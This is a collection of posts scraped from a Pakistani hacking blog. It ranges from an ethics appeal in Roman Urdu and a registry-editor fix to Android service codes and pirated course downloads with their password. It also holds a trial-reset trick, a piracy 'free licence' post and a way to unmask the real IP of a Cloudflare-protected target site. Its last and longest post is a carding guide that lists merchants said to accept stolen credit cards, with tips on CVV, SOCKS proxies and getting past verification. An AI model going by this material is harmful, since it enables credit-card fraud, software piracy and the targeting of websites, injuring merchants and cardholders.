P11 kisi ke site hack karin gain tu hamin galian he milin ge. likin deface page pr koi acha message kisi ke zehniat aur soch badlny kelye bhi hum use karskty hain. likin hamary haan jis ko bhi thori se hacking ajai woh bad dimag, maghroor aur baat baat pr galian dena wala bn jata hai.aur Ikhlaqiat ke pasti sy gir jata hai.

P12 islye as a Muslim Aur As A Pakistani kaam aisa karin ky mulk ka naam roshan ho. na ky badnaam ho. hacking ko just a education aur antihacking ke tor pr sikhen.
Aur world cybar war main aik sachay sipahe ke tara apna role ada kren, Q ky future cybar war main apke he zarorat pary ge. ;-)
end class1.

How to Enable Registry disabled by Administrator

2015-01-14T04:46:00.000-08:00

How to Enable Registry disabled by Administrator

Today i will explain you the solution of very common problem that usually users face i.e whenever you try to open registry editor you get an error message "Registry has been disabled by Your Administrator". It's a very common problem and its solution is also quite simple if you know playing with registry. My main motive is not to provide or directly feed you the solution. I want that you should explore the things. So Let's explore the registry...

Enable registry disabled by admiistrator or admin
Enable Registry Disabled by Administrator

What is Registry?
The Windows Registry is a hierarchical database that stores configuration settings and options on Microsoft Windows operating systems. It contains settings for low-level operating system components as well as the applications running on the platform: the kernel, device drivers, services, SAM, user interface and third party applications all make use of the registry. The registry also provides a means to access counters for profiling system performance.
I know most of you know that registry is called the "BRAIN OF WINDOWS" which store all the information in form of registry keys or technically we call them DWORD or STRING or BINARY or MULTI-STRING values which stores the data into the data in the form the name suggests.

How to enable the Registry disabled by Administrator?
The following message usually displayed when your system is infected by some virus that changes the registry value and hence you get an error message displaying " Registry is disable by Admin". So to fix it you also have to edit the registry but since your registry has been disabled so you cannot directly access it. For this you need to create one registry file that will update the dword value into the registry database.

Steps to enable registry:
1. Open the Notepad.
2. Copy the below code and paste into the notepad.

Code:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]

"DisableRegistryTools"=dword:00000000

3. Now save the Notepad file as "anything.reg"(without quotes) and remember to select the file type as all files while saving otherwise you will not been able to execute it.

4. Now Close the file and open by double click on file and then click ok.

How to Do it using GPEDIT.MSC
Just follow this:
Start -> Run -> gpedit.msc -> User Configuration -> Administrative Templates -> System -> Prevent access to registry editing tools -> Right Click Properties -> Disabled

That's all the simple hack to Enable the Registry disabled by Administrator. Isn't that simple..

Buy Free Domains From GoDaddy - Coupon Code Genetrator

2015-01-14T04:36:00.001-08:00

Hey guys, I just wanna show you a little trick I found today.

Here's the step-by-step how to:

1.- Go to http://joinhoney.com/?r=chrome download and install the extension.
2.- Go to godaddy and pick your domain/domains and go to the checkout page like you normally would
3.- If you installed the extension correctly, you should see that orange button at the buttom that says "find savings", click it and the magic will be done.
4.- Wait until it test all the coupon codes and gives you the best one
5.- Buy it and its done!

this addon find every coupons available and giving you the right one to get domains cheap as hell

Enjoy
Xplaining you more woth pictures....

1-select domain and go to checkout page. These options will come on the upper right hand.
click on apply coupons...

2- Then sit and wait , this xtension will apply all available coupons and will give you the best one in end..

3- If successfully done! In the end you'll see like this..

It will make your domain cheapest...

Udemy "Website Hacking in actice" - Free Download

2015-01-14T04:33:00.003-08:00

Assalam-o-Alaikum

And This Is Half Course I am upload 3rd and 4th Part as soon as

Password ==> madleets

Part 1:-
=================================================
http://www.mediafire.com/download/klrr0w...Part+1.zip
=================================================
Part 2 :-
=================================================
http://www.mediafire.com/download/lpfz67...Part+2.zip
=================================================

I hope u like this..

List of Hack Codes For Android

2015-01-14T04:32:00.003-08:00

Hack Codes For Android

Today i will be sharing Android Hack Codezzz

Hack Codes For Android Hack Codes For Android

1. Complete Information About Your Phone : *#4636#

2. Factory Data Reset : *#7780#

3. Format Android Phone : *2767*3855# (Think Twice Before Using This Code)

4. Phone Camera Update : *#34971539# (Don't Update Camera Firmware In Image)

5. End Call/Power : *#7594#

6. File Copy For Creating Backup : *#273283*255*663282*#

7. Service Mode : *#197328640#

8. WLAN, GPS and Bluetooth Test Codes : *#232339#
*#232338# - Shows WiFi MAC Address
*#1472365# - GPS Test
*#1575# - Another GPS Test
*#232331# - Bluetooth Test
*#232337# - Shows Bluetooth Device Address
9. Codes to get Firmware Version Information : *#4986*2650468# - PDA, Phone, H/W,
RFCallDate
*#1234# - PDA and Phone
*#1111# - FTA SW Version
*#2222# - FTA HW Version
*#44336# - PDA, Phone, CSC, Build Time, Changelist number
10. Codes to launch various Factory Tests : *#0283#*#* - Packet Loopback
*#0*# - LCD Test
*#0673# OR *#0289# - Melody Test
*#0842# - Device Test (Vibration Test And Back Light Test)
*#2663# - Touch Screen Version
*#2664# - Touch Screen Test
*#0588# - Proximity Sensor Test
*#3264# - RAM Version

How To Trial Software after 30 days ??

2015-01-14T04:30:00.004-08:00

3 Steps

1) Uninstall the software after the trial period has expired

2) Start -> search -> (tastati) regedit + ENTER ...

HKEY_CURRENT_USER -> Software -> search program folder (eg Avast Software) -> right click -> delete

HKEY_LOCAL_MACHINE -> SOFTWARE -> search program folder (eg Avast Software) -> right click -> delete

3) Reinstall the program (trial version) and another 30 days trial , This method is perfectly legal and requires no patch / crack and license key etc.. You can use this method always !

Do not delete from elsewhere outside SOFTWARE ( Folder) because damage your windows !
Source

AVG Internet Security 2015- ONE YEAR Registered

2015-01-14T04:29:00.001-08:00

AVG Internet Security 2015- ONE YEAR Registred
*Get Here

Terms and Conditions

1-This is a 1-computer 1-year license, for home use.
2-You get free updates for one year.
3-No free tech support[/align]
4-Must be downloaded, installed, and registered before this offer is over.
5-May not be resold.
6-No refunds and exchanges; if you are having trouble activating or registering, please ask for help.

If It Really Worked U Have to Share http://paksoftwaresspot.blogspot.com/
Because Sharing is Caring

Tags : AVG Internet Security 2015- ONE YEAR Registred
AVG Internet Security 2015- Crack
AVG Internet Security 2015- ONE YEAR Free
AVG Internet Security 2015- ONE YEAR Registered

How To get Real IP From CloudFare Protected

2015-01-14T04:20:00.002-08:00

1) Go to

Code:

http://www.crimeflare.com/cfs.html

2) Enter URL of your target site here:

3) Click Search

4) This is the plain IP

Best Cardable Sites List 2015

2015-01-14T04:19:00.000-08:00

Best Cardable Sites List 2015

www.techbuy.com.au - Need a paid email (from a webserver) can't use free webmails,
Computers, Camera's, Software, need Australian ccv.

http://www.Buymac.com.au - cc name + billing=ship - They can post slow.. Apple Products

http://www.walmart.com - Electrnoics - Bypass verification by using Amex cards.

http://www.wellgoodstuff.com - Lots druggie stuff tshirts, joke stuff ships to USA, Australia, Europe - Make fake id's can card using USA cc without cvv - bill=ship

http://www.whisky.fr - bill=ship Whisky ships within 3 days only to Europe.

http://www.sendit.com - bill=ship - dvd's, cd's - worldwide

http://www.barronseduc.com - bill=ship no cvv worldwide - Books

http://www.roadrunnersports.com - bill=ship worldwide - sport shoes

http://www.celluloco.com - bill=ship worldwide - Mobiles HTC, Blackberries

http://www.BuyRadarDetectors.com - Same Bill/Ship - Worldwide reply to emails

http://www.hmv.co.jp - worldwide fedex 3day ship - bill=ship no cvv only use International CC

http://www.tcc-qatar.com - Electronic Very good Site, Ship Worldwide, CC only no AVS reply to emails

http://www.rugift.com - worldwide - bill=ship, Camera Lens, Night Vision stuff pretty sweet.

http://www.windpowersports.com - worldwide bill=ship, kites

http://www.ronjo.com - bill=ship worldwide - magic store

http://www.radarbusters.com - bill=ship worldwide fast delivery..large store lots things

http://www.hayneedle.com - bill=ship worldwide fast delivery very easy

http://www.yesasia.com - Consoles bill=ship worldwide needs cc statement

http://www.alittleluxury.com.au - Ships Australia only, Alchohol and hampers bill=ship need good cvv.

ww.giftvouchers.com - Australia only - bill=ship best use Australia cards, need good cvv - Gift vouchers

http://www.goldenmine.com - worldwide, bill=ship good cvv, gold jewelry

http://www.lmc.com.au - Australia Only - bill=ship, best use aussie cvv but can use USA, will need phone verify and good cvv - Electronics

http://www.griffintechnology.com - worldwide, fast ship use any number for cvv, bill=ship - computer, ipod, ipad..cases, cords.

http://www.uhrbox.de - worldwide, bill=ship - watches

http://www.cloncom.com - Phone Cards..instant pin via email - there is a 50% chance ull need to phone verify - bill=ship

http://www.divineo.com - Consoles - ship=bill worldwide will need phone verify

www2.panasonic.com - Electronics - worldwide just stay under $400 if anymore will nee phone verify, bill=ship

http://www.Apple.com, http://www.apple.com/au - Easy will need phone verify or cc scan/cc statement if you go above $350 - bill=ship.. Its best to use Aussie cvv for apple Australia.

http://www.occhialissimi.it - Sunglasses Italian brands - worldwide no verification needed - bill=ship

http://www.addr.com - VERY EASY cardable hosting - they don't take down... any cvv..try use these (visa 965 or 029, master 517 or 519)

http://www.neato.com - Worldwide Blank cd's, dvd's, duplication hardware, ship=bill

http://www.innovations.com.au - Misc Stuff put shipping address in billing address

http://www.samples4.com - Audio Stuff, put shipping address in billing address

http://www.send2fax.com - Service to send fax anywhere - bill=ship

http://www.landsend.com - clothing - buy gift certificate and buy clothes with gift certificate.

http://www.electriqueboutique.com - Female Clubwear, swimwear - bill=ship worldwide

Http://www.bullguard.com
CCV (Any / Visa / Mastercard / Jcb)
Socks of the Country any Socks of USA Example

https://www.whiskygalore.co.nz
Request: CCN ( Non cvv) + Socks
Bill different from ship - ship worldwide

http://Champagnegallery.com.au
Any name for cc, best to use Australian ccv but I am sure you could use the same or near same country as the cc..so if your shipping to Europe try use a euro ccv.

billing=shipping, select email me and untick call me.
It charges the card straight away.

http://www.world-import.com
Worldwide ship - bill=ship - need phone verify or cc scan.

http://shop.transparent.com

CCN no ccv, any IP, any name, fake billing address of same country as card.

http://riftgame.com
Don't need socks, any ccv, any billing/shipping address - they dont post out anything its all sent via email.

http://www.memory4less.com > Worldwide
Sells CPU's, memory, Hardrives - Worldwide shipping
Any CC, Any Name, bill=ship - No verify